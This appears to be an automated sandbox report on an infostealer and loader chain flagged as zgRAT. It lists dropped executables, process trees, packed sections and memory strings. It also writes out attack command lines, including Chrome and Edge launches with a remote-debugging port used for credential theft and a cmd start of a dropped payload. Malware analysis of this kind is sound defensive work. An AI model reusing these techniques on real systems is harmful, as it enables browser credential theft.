Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4DDFE0	0_2_6C4DDFE0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C5277A0	0_2_6C5277A0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4F8850	0_2_6C4F8850
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4FD850	0_2_6C4FD850
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C51F070	0_2_6C51F070
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4E7810	0_2_6C4E7810
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C51B820	0_2_6C51B820
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C524820	0_2_6C524820
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C5450C7	0_2_6C5450C7
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4FC0E0	0_2_6C4FC0E0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C5158E0	0_2_6C5158E0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C5060A0	0_2_6C5060A0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4FA940	0_2_6C4FA940
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C52B970	0_2_6C52B970
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C54B170	0_2_6C54B170
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4ED960	0_2_6C4ED960
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C515190	0_2_6C515190
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C532990	0_2_6C532990
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C50D9B0	0_2_6C50D9B0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4DC9A0	0_2_6C4DC9A0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C519A60	0_2_6C519A60
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C518AC0	0_2_6C518AC0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C51E2F0	0_2_6C51E2F0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4F1AF0	0_2_6C4F1AF0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C54BA90	0_2_6C54BA90
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C542AB0	0_2_6C542AB0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4D22A0	0_2_6C4D22A0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C504AA0	0_2_6C504AA0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4ECAB0	0_2_6C4ECAB0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4D5340	0_2_6C4D5340
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4EC370	0_2_6C4EC370
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C51D320	0_2_6C51D320
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C5453C8	0_2_6C5453C8
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4DF380	0_2_6C4DF380
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_00067049	14_2_00067049
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_00068860	14_2_00068860
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_000678BB	14_2_000678BB
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_000631A8	14_2_000631A8
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_00024B30	14_2_00024B30
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_00137B6E	14_2_00137B6E
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_00062D10	14_2_00062D10
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_00024DE0	14_2_00024DE0
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_00057F36	14_2_00057F36
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_0006779B	14_2_0006779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D478BB	15_2_00D478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D47049	15_2_00D47049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D48860	15_2_00D48860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D431A8	15_2_00D431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D04B30	15_2_00D04B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D04DE0	15_2_00D04DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D42D10	15_2_00D42D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D4779B	15_2_00D4779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D37F36	15_2_00D37F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D478BB	16_2_00D478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D47049	16_2_00D47049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D48860	16_2_00D48860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D431A8	16_2_00D431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D04B30	16_2_00D04B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D04DE0	16_2_00D04DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D42D10	16_2_00D42D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D4779B	16_2_00D4779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D37F36	16_2_00D37F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: String function: 000380C0 appears 130 times
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: String function: 6C5194D0 appears 90 times
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: String function: 6C50CBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00D180C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00D1DF80 appears 36 times

Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 660

Source: random.exe.7.exe, 00000000.00000002.2709199288.000000006C755000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs random.exe.7.exe
Source: random.exe.7.exe, 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs random.exe.7.exe

Source: random.exe.7.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack, type: UNPACKEDPE

Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: BKKFCFBKFC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979936563351499
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979936563351499
Source: skotes.exe.14.dr	Static PE information: Section: ZLIB complexity 0.9979936563351499
Source: random[1].exe.17.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe.17.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 183776ee1b.exe.17.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 183776ee1b.exe.17.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe1.17.dr	Static PE information: Section: ZLIB complexity 0.9956649273523985
Source: random[1].exe1.17.dr	Static PE information: Section: icaenpzq ZLIB complexity 0.9925425614904552
Source: 0ee5eba208.exe.17.dr	Static PE information: Section: ZLIB complexity 0.9956649273523985
Source: 0ee5eba208.exe.17.dr	Static PE information: Section: icaenpzq ZLIB complexity 0.9925425614904552

Source: 18.2.Cq6Id6x.exe.4d80000.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 18.2.Cq6Id6x.exe.4d80000.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0ee5eba208.exe, 00000015.00000002.3207877409.0000000000439000.00000040.00000001.01000000.00000012.sdmp, 0ee5eba208.exe, 00000015.00000003.3167699417.0000000005358000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 0ee5eba208.exe, 00000015.00000002.3207877409.0000000000439000.00000040.00000001.01000000.00000012.sdmp, 0ee5eba208.exe, 00000015.00000003.3167699417.0000000005358000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@53/67@7/10

Source: C:\Users\user\Desktop\random.exe.7.exe

Code function: 0_2_6C537030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C537030

Source: C:\Users\user\Desktop\random.exe.7.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\RRO0K7T3.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3620:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5236:120:WilError_03

Source: C:\Users\user\Documents\BKKFCFBKFC.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Users\user\Desktop\random.exe.7.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\random.exe.7.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: random.exe.7.exe, 00000000.00000002.2693363771.0000000005460000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2705929310.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2709038321.000000006C70F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: random.exe.7.exe, 00000000.00000002.2693363771.0000000005460000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2705929310.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2709038321.000000006C70F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: random.exe.7.exe, 00000000.00000002.2693363771.0000000005460000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2705929310.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2709038321.000000006C70F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: random.exe.7.exe, 00000000.00000002.2693363771.0000000005460000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2705929310.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2709038321.000000006C70F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: random.exe.7.exe, 00000000.00000002.2693363771.0000000005460000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2705929310.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2709038321.000000006C70F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: random.exe.7.exe, 00000000.00000002.2693363771.0000000005460000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2705929310.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: random.exe.7.exe, 00000000.00000002.2693363771.0000000005460000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2705929310.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2709038321.000000006C70F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: random.exe.7.exe, 00000000.00000003.2281191293.0000000005359000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000003.2419020459.000000000534D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: random.exe.7.exe, 00000000.00000002.2693363771.0000000005460000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2705929310.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: random.exe.7.exe, 00000000.00000002.2693363771.0000000005460000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2705929310.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: random.exe.7.exe

ReversingLabs: Detection: 55%

Source: unknown	Process created: C:\Users\user\Desktop\random.exe.7.exe "C:\Users\user\Desktop\random.exe.7.exe"
Source: C:\Users\user\Desktop\random.exe.7.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2836 --field-trial-handle=2792,i,8238096719561330086,77332189413184647,262144 /prefetch:8
Source: C:\Users\user\Desktop\random.exe.7.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2240,i,9592498123646239590,711369988122974242,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2076,i,11423175788337497265,15445402632452317473,262144 /prefetch:3
Source: C:\Users\user\Desktop\random.exe.7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\BKKFCFBKFC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\BKKFCFBKFC.exe "C:\Users\user\Documents\BKKFCFBKFC.exe"
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process created: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process created: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe "C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe"
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 660
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe "C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe"
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Process created: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe "C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe"
Source: C:\Users\user\Desktop\random.exe.7.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\BKKFCFBKFC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2836 --field-trial-handle=2792,i,8238096719561330086,77332189413184647,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\Documents\BKKFCFBKFC.exe "C:\Users\user\Documents\BKKFCFBKFC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2240,i,9592498123646239590,711369988122974242,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2076,i,11423175788337497265,15445402632452317473,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\BKKFCFBKFC.exe "C:\Users\user\Documents\BKKFCFBKFC.exe"	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe "C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe "C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe"
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process created: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process created: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe "C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe"
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Process created: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe "C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe"

Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Section loaded: mswsock.dll	Jump to behavior
